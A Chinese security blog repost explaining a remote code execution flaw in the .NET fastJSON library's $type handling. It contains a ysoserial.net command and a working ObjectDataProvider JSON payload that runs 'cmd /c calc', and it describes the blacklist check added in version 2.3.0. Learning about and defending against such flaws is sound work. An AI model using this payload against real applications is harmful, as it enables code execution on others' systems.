反序列化学习 -- Fastjson

admin 2022年5月8日19:23:15评论42 views字数 1716阅读5分43秒阅读模式


反序列化学习 -- Fastjson

fastjson是之前比较流行的第三方json库。官方文档宣称其性能测试第一,并且给了图

反序列化学习 -- Fastjson

本文讲解fastjson.net的反序列化漏洞

demo

一个最小的序列化demo

using fastJSON;using System;
namespace Fastjson.NetSerializer{ class Person { public string Name { get; set; } } class Program { static void Main(string[] args) { Person person = new Person(); person.Name = "jack"; string json = JSON.ToJSON(person); Console.WriteLine(json); Person p = JSON.ToObject<Person>(json); Console.WriteLine(p.Name); Console.ReadKey(); } }}

输出

{"$types":{"Fastjson.NetSerializer.Person, Fastjson.NetSerializer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null":"1"},"$type":"1","Name":"jack"}jack

可见附带了type信息,那么当json可控时,传入objectdataprovider可造成RCE。

攻击链objectdataprovider

ysoserial.net生成payload如下

PS E:codeysoserial.netysoserialbinDebug> .ysoserial.exe -f fastjson -g ObjectDataProvider -c calc{    "$types":{        "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35":"1",        "System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089":"2",        "System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089":"3"    },    "$type":"1",    "ObjectInstance":{        "$type":"2",        "StartInfo":{            "$type":"3",            "FileName":"cmd","Arguments":"/c calc"        }    },    "MethodName":"Start"}

json传入反序列化之后弹出calc

反序列化学习 -- Fastjson

上图是使用fastjson2.2.4版本,在fastjson2.3.0版本之后,官方的GitHub仓库有一个issue提到了type可控造成RCE漏洞,由此作者在2.3.0之后增加了JSONParameters.BlackListTypeChecking来检查type值是否为已知的漏洞,类似于java中的fastjson黑名单。commit在这里

黑名单关键代码如下

反序列化学习 -- Fastjson

当使用同样的payload打2.3.0及以上版本的fastjson时,会抛出异常

反序列化学习 -- Fastjson


Black list type encountered, possible attack vector when using $type : System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35”

该内容转载自网络,更多内容请点击“阅读原文”

原文始发于微信公众号(web安全工具库):反序列化学习 -- Fastjson

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月8日19:23:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化学习 -- Fastjsonhttp://cn-sec.com/archives/978940.html

发表评论

匿名网友 填写信息